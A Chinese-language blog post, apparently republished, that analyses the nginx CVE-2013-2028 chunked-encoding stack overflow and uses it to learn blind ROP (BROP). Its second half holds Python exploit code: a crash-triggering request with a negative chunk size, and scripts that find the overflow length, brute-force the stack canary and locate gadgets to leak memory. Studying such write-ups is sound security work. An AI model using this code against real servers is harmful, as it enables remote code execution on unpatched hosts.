Nginx棧溢出分析 - CVE-2013-2028


分析 + 運行環境: ubuntu x64 + centos
環境搭建: https://github.com/kitctf/nginxpwn

影響版本: nginx 1.3.9 - 1.4.0

主要以此來學習BROP: 可以不需要知道該應用程序的源代碼或者任何二進制代碼進行攻擊,類似SQL盲注。

基礎鋪墊

Nginx是一個輕量級的Web服務器,它還具有反向代理、電子郵件代理等功能,並且占內存小、並發強。
根據各模塊功能,可以將它歸納為如下幾種:

觀察Nginx源碼目錄以及各自的功能如下:

core: 核心代碼,包含一些數據結構
event: 事件驅動模型、定時器相關代碼
http: http server相關代碼
mail: mail代理服務器相關代碼
misc: 輔助代碼
os: 解決系統兼容性問題

Nginx中主要是以模塊為分類:
1、Handler模塊: 處理請求並產生輸出
2、Filter模塊: 處理Handler模塊中的輸出
3、Load-balancer模塊,負責挑選出負載均衡中的某一台服務器

舉例說明: 客戶端請求過來,nginx便是由各個Handler模塊處理http請求包,然后返回給客戶端的時候,便會使用Filter模塊對http響應包進行處理,包括其中響應頭以及響應內容


一個HTTP請求流量中包含了幾個點
1、請求包: 請求行、請求頭、包體
2、響應包: 響應頭、響應內容

Nginx接收HTTP數據並響應的整個過程如下: (/src/http/ngx_http_request.c)

1、解析請求行: ngx_http_process_request_line -> ngx_http_parse_request_line,將協議版本信息,url,請求方式等信息獲取
2、解析請求頭: ngx_http_process_request_headers -> ngx_http_parse_header_line

關於ngx_http_request_t數據結構,他是一個請求中最常用的結構,包括在upstream也是用它來描述的

typedef struct ngx_http_request_s     ngx_http_request_t;

struct ngx_http_request_s {
    ... 省略
      //ctx是自定義的上下文結構指針數組,若是HTTP框架,則存儲所有HTTP模塊上下文結構。其他的則是配置文件中的信息
    void                            **ctx;
    void                            **main_conf;
    void                            **srv_conf;
    void                            **loc_conf;
    
    // 請求頭、響應頭
    ngx_http_headers_in_t             headers_in;
    ngx_http_headers_out_t            headers_out;
    ngx_http_request_body_t          *request_body;
    
    // 下面是請求行解析后將會賦值到以下
    ngx_uint_t                        method;
    ngx_uint_t                        http_version;

    ngx_str_t                         request_line;
    ngx_str_t                         uri;
    ngx_str_t                         args;
    ngx_str_t                         exten;
    ngx_str_t                         unparsed_uri;
    ... 省略
}

typedef struct {
    ngx_list_t                        headers;
    ...省略
    ngx_str_t                         server;
    off_t                             content_length_n;
    time_t                            keep_alive_n;
} ngx_http_headers_in_t;

typedef struct {
    ngx_temp_file_t                  *temp_file;
    ngx_chain_t                      *bufs;
    ngx_buf_t                        *buf;
    off_t                             rest;
    off_t                             received;
    ngx_chain_t                      *free;
    ngx_chain_t                      *busy;
    ngx_http_chunked_t               *chunked;
    ngx_http_client_body_handler_pt   post_handler;
} ngx_http_request_body_t;

typedef struct ngx_http_chunked_s     ngx_http_chunked_t;

struct ngx_http_chunked_s {
    ngx_uint_t           state;
    off_t                size;
    off_t                length;
};

漏洞分析

1、靜態分析
首先從patch來看

File: src/http/ngx_http_parse.c

data:
    ctx->state = state;
    b->pos = pos;
    ...省略
+    if (ctx->size < 0 || ctx->length < 0) {
+        goto invalid;
+    }

往上回溯尋找goto data調用的地方

ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){
    ...省略
    state = ctx->state;
    for (pos = b->pos; pos < b->last; pos++) {
        switch (state) {
            ...省略
            case sw_chunk_data:
                rc = NGX_OK;
                goto data;
        }
    }
}

繼續往上回溯尋找ngx_http_parse_chunked函數調用處,這里有兩處,我以ngx_http_discard_request_body_filter作為分析

/src/http/ngx_http_request_body.c


static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){
    size_t                    size;
    ngx_int_t                 rc;
    ngx_http_request_body_t  *rb;

    if (r->headers_in.chunked) {
        rb = r->request_body;
        ...省略
        for ( ;; ) {
            rc = ngx_http_parse_chunked(r, b, rb->chunked);
            if (rc == NGX_OK) {

                /* a chunk has been parsed successfully */
                size = b->last - b->pos;

                if ((off_t) size > rb->chunked->size) {
                    b->pos += rb->chunked->size;
                    rb->chunked->size = 0;

                } else {
                    rb->chunked->size -= size;
                    b->pos = b->last;
                }
                continue;
            }

            if (rc == NGX_DONE) {
                /* a whole response has been parsed successfully */
                r->headers_in.content_length_n = 0;
                break;
            }

            if (rc == NGX_AGAIN) {
                /* set amount of data we want to see next time */
                r->headers_in.content_length_n = rb->chunked->length;
                break;
            }

            /* invalid */
            ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                          "client sent invalid chunked body");

            return NGX_HTTP_BAD_REQUEST;
        }

    } else {
        size = b->last - b->pos;

        if ((off_t) size > r->headers_in.content_length_n) {
            b->pos += r->headers_in.content_length_n;
            r->headers_in.content_length_n = 0;

        } else {
            b->pos = b->last;
            r->headers_in.content_length_n -= size;
        }
    }

    return NGX_OK;
}

仔細發現這里面循環有一些rb->chunked->lengthrb->chunked->size的操作
再往上回溯便是ngx_http_read_discarded_request_body

static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
    
    ...省略

    for ( ;; ) {
        ...省略
        size = (size_t) ngx_min(r->headers_in.content_length_n,
                                NGX_HTTP_DISCARD_BUFFER_SIZE);

        n = r->connection->recv(r->connection, buffer, size);
        ...省略
        rc = ngx_http_discard_request_body_filter(r, &b);
        
    }
}

在這里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096,存在一個buffer變量,其中長度最大為4096
然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)),看headers_in.content_length_n的大小是多少,如果小於4096的話將會把它的值給size。
接下來就是使用recv接收數據,這里要注意recv函數,如果buffer比size小的話,接收過多數據時候會導致棧溢出問題。

當然這里看起來沒問題,因為使用了ngx_min做了處理,但是要注意的是headers_in.content_length_n類型為off_t,也就是有符號的long型,如果他能夠為負數,再通過將它轉換為size_t類型,也就是無符號的unsigned int型,最終的數值會變得很大。

回到ngx_http_discard_request_body_filter上一個函數看r->headers_in.chunked條件中的NGX_AGAIN情況

if (rc == NGX_AGAIN) {
    /* set amount of data we want to see next time */
    r->headers_in.content_length_n = rb->chunked->length;
    break;
}

如果NGX_AGAIN的話,r->headers_in.content_length_n的值將會被第二次的rb->chunked->length長度覆蓋掉

繼續往上找便是ngx_http_read_discarded_request_body -> ngx_http_discarded_request_body_handler -> ngx_http_discard_request_body

回顧上面nginx請求的流程,ngx_http_discard_request_body便是進行了丟棄http包體處理,它被多個modules進行調用,默認nginx安裝后,請求的是一個靜態資源,也就是/src/http/modules/ngx_http_static_module.c這個模塊進行處理

再往上回溯步驟較多,可以通過gdb可以看看這個過程是如何調用到的

2、動態調試
編譯安裝nginx

./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module

make && make install

# 測試配置是否通過
./nginx -t
./nginx

gdb調試

ps aux | grep nginx # 找到對應pid
gdb      # 進行調試

attach 14561    # 依附worker process
stop
b ngx_http_init_connection
continue

p *(struct ngx_http_request_s*)0x6d2070


回過頭來看ngx_http_discard_request_body_filter函數,其中有一個條件是if (r->headers_in.chunked)

static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){
    ...省略
        if (r->headers_in.transfer_encoding) {
        if (r->headers_in.transfer_encoding->value.len == 7
            && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data,
                               (u_char *) "chunked", 7) == 0)
        {
            r->headers_in.content_length = NULL;
            r->headers_in.content_length_n = -1;
            r->headers_in.chunked = 1;
」

設置頭部為transfer-encoding: chunked,並且post一些數據才能進入ngx_http_parse_chunked

GET / HTTP/1.1
Host: love.lemon:6969
transfer-encoding: chunked
Content-Length: 7

616263

ngx_http_parse_chunked的開始state是sw_chunk_start,然后進入sw_chunk_size,也就是獲取post過來的chunked數據,數據是16進制編碼

case sw_chunk_size:
    if (ch >= '0' && ch <= '9') {
        ctx->size = ctx->size * 16 + (ch - '0');
        break;
    }
    
    c = (u_char) (ch | 0x20);
    
    if (c >= 'a' && c <= 'f') {
        ctx->size = ctx->size * 16 + (c - 'a' + 10);
        break;
    }

最后ctx->size將會把值給ctx->length,這里要注意size和length都是off_t類型

case sw_chunk_size:
    ctx->length = 2 /* LF LF */
                  + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

這個時候可以返回到漏洞觸發點處,r->headers_in.content_length_n將會等於rb->chunked->length,即headers_in.content_length_n的長度是被我們所控的,現在就是需要看傳入什么值才能夠為負數。

raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
raw += 'f' * (1024 - len(raw) - 16)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ip', port))

data1 = raw
data1 += "f0000000"
data1 += "00000060" + "\r\n"
s.send(data1)

s.send("B" * 6000)
s.close()

這個要注意的是,nginx第一次接受到Http請求的時候,其中會接受1024長度,如果超過了它,便會進入NGX_AGAIN,然后會revc后面的數據。

可以看到傳入f000000000000060的時候,便可以覆蓋了$rbp,最終nginx: worker process崩潰重啟。

這里注意的一點是,在Ubuntu 14.04下測試的時候發現,recv函數原型: recv(r, buf, len, xxx),其中len如果過大,會直接返回0xffffffff,導致buffer沒有被傳入的數據覆蓋。但是在centos下測試ok

Exploit構寫 - brop學習

終於到exp構寫了,首先查看一下程序的保護機制。

下面將一步步的學習一下brop,wooyun早已有mctrain前輩分享過原理

brop就是不需要源代碼、程序,並且繞過各種保護機制: NX、ASLR、PIE、Canary,有點類似SQL盲注,當然第一步是需要注入漏洞點是在何處。第二步就是,服務器進程在crash之后會重新復活,並且復活的進程不會被re-rand,這樣地址隨機化並不會改變,nginx符合這樣的情況,因為通常情況下nginx是存在一個master和多個worker,worker掛掉后便會重新啟動復活。

回顧一下通常情況下的pwn利用,在brop中我們也需要如此的尋找我們需要的值,其步驟如下:

  • 判斷棧溢出長度
  • 獲取canaries值
  • 尋找gadgets,比如輸出函數write、puts等函數,當然還有控制他們的參數值
  • exploit

這里要注意的是一個坑,要是想遠程打的話,還需要對tcp做處理,不然nginx要接收到溢出字符就得看人品了。為了復現漏洞,僅從本地開始復現

獲取棧溢出長度以及canary值

常見的棧布局如下:

1、獲取棧溢出長度,可以通過不斷的去填充緩沖區,當它破壞canary的時候就會出現crash

def get_stack_len(nginx):
    result = []
    for i in range(150):
        print i,'th get_stack_len'
        pad_data = 'c' * 8 * i
        if nginx.send_data(pad_data) == False:
            print 'Find It: ', i
            result.append(i)
            time.sleep(1)
    return result

先按8位一組一組的找,找到大概區間,再為了精准找到字節

這里可以發現我們136(17 * 8)位出現了異常,后面則需要繼續一位一位的爆破

2、爆破canary值
爆破canary有點區別,它需要一個字節一個字節的爆破,並不是按8個一組直接來,流程圖如下:

def get_canary(nginx, stack_len):
    result = []
    for j in range(256):
        tmp = ['c' * stack_len, p64(0), ]
        log.info("%dth data find..." % j)
        tmp.append(p8(j))
        pad_data = flat(tmp)
        if nginx.send_data(pad_data) == True:
            print 'Find It: ', j
            result.append(j)
            break
        time.sleep(1)
    return result

尋找gadget

1、stop gadget: 當執行這段代碼的時候,不會造成crash,但程序會進入無限循環,這樣使得攻擊者能夠一直保持連接狀態。類似sleep,當想尋找其他gadget的時候,它將會給我們一些判斷尋找的gadget是否是正確的。

def get_hang_gadget(nginx):
    begin_addr = TEXT_ADDR
    while True:
        print 'Log burst add: ', hex(begin_addr)
        pad_data = flat(['a' * 120, p64(0), p64(0), p64(begin_addr)])

        start = time.time()
        print nginx.send_data(pad_data)
        end = time.time()

        if end - start > 3:
            print 'Find it: ', hex(begin_addr)
            break
        sleep(0.2)

        begin_addr += 1

得到一個0x404c02的hang gadget

2、尋找的gadget當然是需要有用的,比如pop rdi; ret,這里就需要使用stop gadget,如果是pop rdi; ret的話,它后面ret進入的是stop gadget,而如果是其他的gadget,那么在之前就不能被ret,也就無法進入sleep(stop gadget)

x64下一般是有通用的gadgets的,比如__libc_csu_init函數中,通常是pop_junk_rbx_rbp_r12_r13_r14_r15_ret,在此gaadgets上還有一個mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
也就是意味着很多寄存器可以控制,並且可以調用想要的函數

中間填充7個無效地址,用於pop數據,最后加入一個stop gadhet,通過不斷爆破地址,如果crash就表明不是,如果stop了則尋找到了。
其中結構圖如下:

def get_useful_gadget(nginx, hang_gadget):
    begin_addr = 0x4AAA00
    while True:
        print 'Log burst add: ', hex(begin_addr)

        data = 'a' * 120
        data += p64(0) + p64(0)
        data += p64(begin_addr) + p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        data += p64(hang_gadget)

        start = time.time()
        print nginx.send_data(data)
        end = time.time()

        if end - start > 3:
            print 'Find it: ', hex(begin_addr)
            break
        sleep(0.2)

        begin_addr += 1

為了節約點時間,將爆破起點調為0x4AAA00

可以得到0x4AAA8f這個地址,跟入看看是什么情況。

往下走的時候,可以看到0x4AAAa8處跳轉到了0x4AAAc6,也就是我們的目的地,對寄存器進行布局的地方。

由於0x4AAA8f地址是第一個爆破到的,因為這個是屬於Libc函數,它到目的地0x4AAAc6的距離是不變的。也就是如果接下來好幾個值都可以成功,那么通過0x4AAA8f + 55 = 0x4AAAc6

dump內存 - write、puts

一般可以使用puts、write來讀取內存的值

一、puts函數
puts需要一個參數,其中是rdi的值。如果程序沒有開啟PIE,0x400000則是ELF頭部,也就是值為\x7fELF

二、write

write(int sock,void *buf,int len)

匯編代碼:
pop %rdi ret
pop %rsi ret
pop %rdx ret
call write ret

$rdi -> sock、%rsi -> buf、%rdx -> len

在回到IDA中查看,也可以找到此處(如果不是brop的話,可以找找csu_init函數,然后找到此處地址)

上面獲取的0x4AAAc6處,表明了可以控制rbx,rbp,r12,r13,r14,r15
0、0x4AAAB6出是mov edi, r13d,只能控制rdi的低32位
1、0x4AAAB3處是mov rsi, r14,也就說明rsi可控
2、0x4AAAB0處是mov rdx, r15,也就說明rdx可控

看起來也是很麻煩的,因為文件描述符的值是rdi控制的,而且這里是低32位,不過對於write已經足夠了。為了增加命中,1、可以同時打開多個連接,2、chain多個rop,每個rop的文件描述符不一樣

另外對於文件描述符還有一些特征,1、linux默認最多只能打開1024個,2、posix 標准每次申請的文件描述符數值總是當前最小可用數值,可以看到我當前的連接就是找到最小可用的3

這里結合優化后的csu是不行的,因為沒有pop,所以構造不了pop rdi;ret0x4AAAB6地方的call調用也沒法用,因為需要一個got地址,如果是pop就很好處理,pop rdi;ret;,后面再放一個write的plt地址。

這里為了漏洞測試,暫時用got的write地址繼續。

def find_func(nginx, payload, hang_gadget):
    data = 'a' * 120
    data += p64(0) + p64(0)
    data += payload
    data += p64(hang_gadget)

    start = time.time()
    status = nginx.send_data(data)
    end = time.time()

    if end - start > 3:
        return 0

    if status:
        return 1
    else:
        return -1

def csu(csu_end_addr, rbx, rbp, r12, r13, r14, r15, call_addr):
    # rdi = edi = r13d
    # rsi = r14
    # rdx = r15
    payload = ''
    payload += p64(csu_end_addr)
    # ??? add rsp, 38h
    payload += p64(0)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)

    ####### mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    csu_front_addr = csu_end_addr - 0x16
    payload += p64(csu_front_addr)
    payload += p64(call_addr)
    return payload

def find_write_func(nginx, csu_end_addr, hang_gadget):
    #for i in range(50):
    begin_addr = TEXT_ADDR
    begin_addr = 0x404DB8
    write_got = 0x6C73A8
    #while True:
    
    print 'th Log burst add: ', hex(begin_addr)

    #     addr , x, x, write, file_, buf, len
    payload = csu(csu_end_addr, 0, 1, write_got, 3, 0x400000, 10, begin_addr)

    if find_func(nginx, payload, hang_gadget) == 0:
        print 'Find it: ',begin_addr

    #begin_addr += 1
    sleep(0.5)

把elf內容導出來


編譯的時候gcc優化了,pop rbx; pop rbp; pop r12被優化為mov形式,如果不優化的話,exp將好寫很多,因為pop操作是操作寄存器后還有ret,棧楨在之前就已經開辟了,這樣我們可以通過更變不同的參數來精准猜解這個位置。

Payload1 = 'a'*len + l64(addr-1)+l64(0)+l64(ret) 
Payload2 = 'a'*len + l64(addr)+l64(0)+l64(ret) 
Payload3 = 'a'*len + l64(addr+1) +l64(ret)

pop r15;ret字節碼為41 5f c3,后兩字節碼5f c3對應的匯編為pop rdi;ret,說明了rdi可控
另外5e也表示着pop rsi

rdx也可以通過調用strcmp函數,該函數調用會把字符串的長度賦值給%rdx,從而達到控制它。當然我覺得最方便的應該還是往上偏移找到mov rdx, r13的gadget。

三、尋找strcmp
如何尋找strcmp plt ?

PLT是一個跳轉表,大多數的PLT不會因為傳進的參數而crash,因為它們很多都是系統調用,都會對參數進行檢查,如果有錯誤會返回EFAULT而已,並不會造成進程crash。

它還有一個特征: 每一個項都是16個字節對齊,其中第0個字節開始的地址指向改項對應函數的fast path,而第6個字節開始的地址指向了該項對應函數的slow path

所以有一段連續的16個字節對齊的地址都不會造成進程crash,而且這些地址加6得到的地址也不會造成進程crash,這也就是進入了PLT中

int strcmp(const char *s1, const char *s2);
s1 -> rdi、 s2 -> rsi

可以通過以下的搭配特征來確認一個地址是否是strcmp plt

arg1 | arg2 | result
:--: | :--: | :--:
readable | 0x0 | crash
0x0 | readable | crash
0x0 | 0x0 | crash
readable | readable | nocrash

pwn

前面用csu的時候就差不多是把write地址也可以泄露出來,0x7f212f4617a0

后面便是dump內存進行pwn

Referer

理解 Nginx 源碼

【技術分享】BROP Attack之Nginx遠程代碼執行漏洞分析及利用

nginx security advisory (CVE-2013-2028)

Nginx開發從入門到精通

Nginx 1.3.9、1.4.0緩沖區溢出漏洞以及64位下的漏洞利用分析

C語言中的size_t類型

基礎棧溢出復習 四 之 BROP

cve-2013-2028

Linux中通過Socket文件描述符尋找連接狀態介紹

brop


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM